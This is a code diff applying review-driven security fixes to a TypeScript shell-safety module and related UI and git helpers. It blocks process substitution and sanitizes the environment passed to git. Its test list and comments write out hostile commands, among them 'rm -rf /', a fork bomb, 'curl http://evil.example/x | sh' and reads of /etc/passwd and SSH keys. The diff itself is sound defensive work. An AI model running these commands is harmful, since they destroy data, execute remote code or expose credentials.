+ // a lookahead. Now `[<>](?![&\d])` blocks BOTH `<` and `>` file redirects while
137
+ // still permitting fd-duplication forms (`2>&1`, `1>&2`, `>&2`, `<&3`) via the
138
+ // negative lookahead (a `>`/`<` followed by `&` or a digit is allowed).
139
+ const DANGEROUS_SHELL_PATTERNS = /(?:;|&&|\|\||\$\(|`|\$\{|\$\w|\b(eval|exec)\b|[<>](?![&\d])|[\r\n])/;
136
140
 
137
141
  /**
138
142
  * Validate a verification gate command is safe to execute.
@@ -195,7 +199,23 @@ async function executeCommand(
195
199
  output += data.toString();
196
200
  });
197
201
 
202
+ // M-9 fix (code-review 2026-06-23): store the timeout handle so it can be
203
+ // cleared when the process exits normally, and unref it so it does not
204
+ // keep the Node.js event loop alive for the full timeoutMs after all work
205
+ // is done (previously it fired shell.kill() on an already-dead process).
206
+ const timer = setTimeout(() => {
207
+ shell.kill("SIGKILL");
208
+ resolve({
209
+ exitCode: -1,
210
+ output: output + "\n[TIMEOUT: Command exceeded limit]",
211
+ durationMs: Date.now() - start,
212
+ });
213
+ }, timeoutMs);
214
+ timer.unref();
215
+ const clearTimer = (): void => clearTimeout(timer);
216
+
198
217
  shell.on("close", (code) => {
218
+ clearTimer();
199
219
  exitCode = code;
200
220
  resolve({
201
221
  exitCode,
@@ -205,22 +225,13 @@ async function executeCommand(
205
225
  });
206
226
 
207
227
  shell.on("error", (err) => {
228
+ clearTimer();
208
229
  resolve({
209
230
  exitCode: -1,
210
231
  output: `Execution error: ${err.message}`,
211
232
  durationMs: Date.now() - start,
212
233
  });
213
234
  });
214
-
215
- // Handle timeout
216
- setTimeout(() => {
217
- shell.kill("SIGKILL");
218
- resolve({
219
- exitCode: -1,
220
- output: output + "\n[TIMEOUT: Command exceeded limit]",
221
- durationMs: Date.now() - start,
222
- });
223
- }, timeoutMs);
224
235
  });
225
236
  }
226
237
 
@@ -208,9 +208,22 @@ export function isDangerous(command: string, options: SafeBashOptions = {}): str
208
208
 
209
209
  if (!enabled) return null;
210
210
 
211
- // Reject overly permissive allowPatterns that would bypass all safety
211
+ // Reject overly permissive allowPatterns that would bypass all safety.
212
+ // M-5 fix (code-review 2026-06-23): the old check only rejected patterns
213
+ // matching BOTH "" and "rm -rf /". A pattern like /.+/ matches every
214
+ // non-empty command (so it never matches "") yet allows anything dangerous.
215
+ // Now we test each allowPattern against a battery of known-dangerous
216
+ // commands; any pattern that matches one is rejected as too permissive.
217
+ const ALLOW_PATTERN_DANGER_SAMPLES = [
218
+ "rm -rf /",
219
+ "rm -rf ~",
220
+ ":(){ :|:& };:",
221
+ "curl http://evil.example/x | sh",
222
+ "cat /etc/passwd",
223
+ "node -e \"require('fs')\"",
224
+ ];
212
225
  for (const pattern of allowPatterns) {
213
- if (pattern.source === ".*" || (pattern.test("") && pattern.test("rm -rf /"))) {
226
+ if (pattern.source === ".*" || ALLOW_PATTERN_DANGER_SAMPLES.some((s) => pattern.test(s))) {
214
227
  logInternalError("safe-bash.permissive-allow-pattern", new Error(`allowPattern rejects nothing: ${pattern}`));
215
228
  throw new Error(`Overly permissive allowPattern rejected: ${pattern}. Use specific patterns only.`);
216
229
  }
@@ -260,6 +273,13 @@ export function isDangerous(command: string, options: SafeBashOptions = {}): str
260
273
  if (backtickRe.test(normalized)) {
261
274
  return "Command blocked by safe_bash: backtick substitution is not allowed";
262
275
  }
276
+ // H-1 fix (code-review 2026-06-23): block Bash process substitution <(...)
277
+ // and >(...). These execute a command in a subshell that bypasses every
278
+ // pipe-based check (e.g. `bash <(curl evil.example/x)` runs curl with no
279
+ // `|` character), and can read/exfiltrate files (`cat <(cat /etc/passwd)`).
280
+ if (/[<>]\s*\([^)]*\)/.test(normalized)) {
281
+ return "Command blocked by safe_bash: process substitution <(...) or >(...) is not allowed";
282
+ }
263
283
  // Block here-docs <<
264
284
  if (/<<\s*['"]?[\w-]+['"]?/.test(normalized) || /\$<<\s*['"]?[\w-]+['"]?/.test(normalized)) {
265
285
  return "Command blocked by safe_bash: here-doc is not allowed";
@@ -364,7 +384,10 @@ export const SAFE_BASH_PRESETS = {
364
384
  additionalPatterns: [],
365
385
  allowPatterns: [COMMON_SAFE_PATTERNS.safePackage],
366
386
  },
367
- /** Minimal - only block catastrophic commands */
387
+ /** Minimal - only block catastrophic commands.
388
+ * NOTE (M-5 fix): safeRead was removed — `\b(cat|head|tail|…)\s` allows
389
+ * reading arbitrary files (cat /etc/passwd, cat ~/.ssh/id_rsa), so it is too
390
+ * permissive for an allowPattern and is rejected by the danger-sample battery. */
368
391
  permissive: {
369
392
  enabled: true,
370
393
  additionalPatterns: [],
@@ -372,7 +395,6 @@ export const SAFE_BASH_PRESETS = {
372
395
  COMMON_SAFE_PATTERNS.safeRm,
373
396
  COMMON_SAFE_PATTERNS.safeGit,
374
397
  COMMON_SAFE_PATTERNS.safePackage,
375
- COMMON_SAFE_PATTERNS.safeRead,
376
398
  ],
377
399
  },
378
400
  /** No safety checks */
@@ -19,6 +19,10 @@ export class LiveConversationOverlay {
19
19
  private frame = 0;
20
20
  private pollTimer: ReturnType<typeof setInterval> | undefined;
21
21
  cachedLines: string[] = [];
22
+ // H-4 fix (code-review 2026-06-23): cap the in-memory line buffer to avoid
23
+ // unbounded growth (OOM) during long-running live sessions. Oldest lines are
24
+ // dropped first; scrollOffset is adjusted to keep the viewport stable.
25
+ static readonly MAX_CACHED_LINES = 5000;
22
26
  private columns: number;
23
27
  private rows: number;
24
28
  private unsubscribe: (() => void) | undefined;
@@ -45,7 +49,7 @@ export class LiveConversationOverlay {
45
49
  const obj = event as Record<string, unknown>;
46
50
  const text = typeof obj.text === "string" ? obj.text : typeof obj.content === "string" ? obj.content : "";
47
51
  if (text.trim()) {
48
- this.cachedLines.push(text);
52
+ this.pushLine(text);
49
53
  if (this.autoScroll) this.scrollOffset = Math.max(0, this.cachedLines.length - this.viewportHeight());
50
54
  }
51
55
  });
@@ -61,6 +65,15 @@ export class LiveConversationOverlay {
61
65
  try { this.refreshSummary(); } catch { /* ignore */ }
62
66
  }
63
67
 
68
+ private pushLine(line: string): void {
69
+ this.cachedLines.push(line);
70
+ if (this.cachedLines.length > LiveConversationOverlay.MAX_CACHED_LINES) {
71
+ const drop = this.cachedLines.length - LiveConversationOverlay.MAX_CACHED_LINES;
72
+ this.cachedLines.splice(0, drop);
73
+ this.scrollOffset = Math.max(0, this.scrollOffset - drop);
74
+ }
75
+ }
76
+
64
77
  private static readonly SUMMARY_PREFIX = "\u200B"; // zero-width space as summary sentinel
65
78
 
66
79
  private safeElapsedMs(act: typeof this.handle.activity): number {
@@ -92,7 +105,7 @@ export class LiveConversationOverlay {
92
105
  if (lastLine?.startsWith(LiveConversationOverlay.SUMMARY_PREFIX)) {
93
106
  this.cachedLines[this.cachedLines.length - 1] = summary;
94
107
  } else {
95
- this.cachedLines.push(summary);
108
+ this.pushLine(summary);
96
109
  }
97
110
  if (this.autoScroll) this.scrollOffset = Math.max(0, this.cachedLines.length - this.viewportHeight());
98
111
  }
@@ -103,6 +103,13 @@ export class LiveRunSidebar {
103
103
  }
104
104
 
105
105
  dispose(): void {
106
+ // M-10 fix (code-review 2026-06-23): clear the auto-close timer so a
107
+ // disposed sidebar (not closed via the normal path) doesn't fire this.done()
108
+ // on a disposed component.
109
+ if (this.autoCloseTimeout) {
110
+ clearTimeout(this.autoCloseTimeout);
111
+ this.autoCloseTimeout = undefined;
112
+ }
106
113
  this.unsubscribeTheme();
107
114
  this.unsubscribeEventBus();
108
115
  }
@@ -6,6 +6,7 @@
6
6
  import type { CrewTheme } from "./theme-adapter.ts";
7
7
  import { DynamicCrewBorder } from "./dynamic-border.ts";
8
8
  import { discoverPiThemes, getActivePiTheme } from "./theme-discovery.ts";
9
+ import { visibleWidth, truncateToWidth } from "../utils/visual.ts";
9
10
 
10
11
  // ---------------------------------------------------------------------------
11
12
  // Types
@@ -143,34 +144,7 @@ const EFFECTIVE_DEFAULTS: Record<string, unknown> = {
143
144
  // Helpers
144
145
  // ---------------------------------------------------------------------------
145
146
 
146
- /** Visible character width (ignores ANSI escapes). */
147
- function visibleWidth(text: string): number {
148
- // eslint-disable-next-line no-control-regex
149
- let w = 0;
150
- let inEscape = false;
151
- for (const ch of text) {
152
- if (ch === "\x1b") { inEscape = true; continue; }
153
- if (inEscape) { if (/[a-zA-Z]/.test(ch)) inEscape = false; continue; }
154
- w++;
155
- }
156
- return w;
157
- }
158
-
159
- /** Truncate string to fit within maxVis visible characters. */
160
- function truncateToWidth(text: string, maxVis: number): string {
161
- // eslint-disable-next-line no-control-regex
162
- let w = 0;
163
- let result = "";
164
- let inEscape = false;
165
- for (const ch of text) {
166
- if (ch === "\x1b") { inEscape = true; result += ch; continue; }
167
- if (inEscape) { result += ch; if (/[a-zA-Z]/.test(ch)) inEscape = false; continue; }
168
- w++;
169
- if (w > maxVis) return result + "…";
170
- result += ch;
171
- }
172
- return result;
173
- }
147
+ /** Visible character width — delegated to the Unicode-aware shared util (M-11 fix). */
174
148
 
175
149
  /** Pad string to exactly maxVis visible width. */
176
150
  function padToWidth(text: string, maxVis: number, padChar = " "): string {
@@ -636,8 +636,8 @@ function shortenPath(p: string): string {
636
636
  return p;
637
637
  }
638
638
 
639
- /** P8: Create clickable file hyperlink via OSC 8 */
640
- function linkPath(p: string, label?: string): string {
641
- const display = label ?? shortenPath(p);
642
- return `\x1b]8;;file://${p}\x1b\\${display}\x1b]8;;\x1b\\`;
643
- }
639
+ /** P8: Create clickable file hyperlink via OSC 8.
640
+ * Removed (M-13 fix, code-review 2026-06-23): this function was dead code (no
641
+ * callers) and interpolated a path into an OSC-8 escape without sanitizing
642
+ * control chars (\x07 BEL / \x1b\\ ST), a potential terminal-injection sink.
643
+ * Re-add with sanitized input if a caller is introduced. */
@@ -12,6 +12,7 @@
12
12
  import { mkdirSync, readFileSync, writeFileSync, existsSync, readdirSync, unlinkSync } from "node:fs";
13
13
  import path from "node:path";
14
14
  import { logInternalError } from "../utils/internal-error.ts";
15
+ import { isSafePathId } from "../utils/safe-paths.ts";
15
16
 
16
17
  // ── Types ────────────────────────────────────────────────────────────────
17
18
 
@@ -88,6 +89,9 @@ export function readIntermediate(
88
89
  phase: string,
89
90
  stepId: string,
90
91
  ): IntermediateOutput | undefined {
92
+ // M-2 fix (code-review 2026-06-23): validate phase/stepId before building the
93
+ // filename to prevent path traversal via a poisoned stepId.
94
+ if (!isSafePathId(phase) || !isSafePathId(stepId)) return undefined;
91
95
  const dir = config.intermediateDir ?? DEFAULT_CONFIG.intermediateDir;
92
96
  const filename = `${phase}-${stepId}.json`;
93
97
  const filePath = path.join(dir, filename);
@@ -1,4 +1,13 @@
1
1
  import { execFileSync } from "node:child_process";
2
+ import { sanitizeEnvSecrets } from "../utils/env-filter.ts";
3
+ import { WINDOWS_ESSENTIAL_ENV_VARS } from "../utils/env-allowlist.ts";
4
+
5
+ // Read-only git operations only (rev-list, rev-parse, log). Sanitize env to
6
+ // avoid leaking API keys/tokens to any git hook/alias/credential-helper.
7
+ // C-1 fix (code-review 2026-06-23): previously inherited the full parent env.
8
+ const GIT_SAFE_ENV = sanitizeEnvSecrets(process.env, {
9
+ allowList: ["PATH", "HOME", "USER", ...WINDOWS_ESSENTIAL_ENV_VARS, "SHELL", "TERM", "LANG", "LC_ALL", "GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM", "GIT_EXEC_PATH"],
10
+ });
2
11
 
3
12
  export type BranchFreshnessStatus = "fresh" | "stale" | "diverged" | "unknown";
4
13
  export type StaleBranchPolicy = "warn" | "block" | "auto_rebase" | "auto_merge_forward";
@@ -15,7 +24,7 @@ export interface BranchFreshness {
15
24
  }
16
25
 
17
26
  function git(cwd: string, args: string[]): string {
18
- return execFileSync("git", args, { cwd, encoding: "utf-8", stdio: ["ignore", "pipe", "pipe"], windowsHide: true }).trim();
27
+ return execFileSync("git", args, { cwd, encoding: "utf-8", stdio: ["ignore", "pipe", "pipe"], env: GIT_SAFE_ENV, windowsHide: true }).trim();
19
28
  }
20
29
 
21
30
  function count(cwd: string, range: string): number {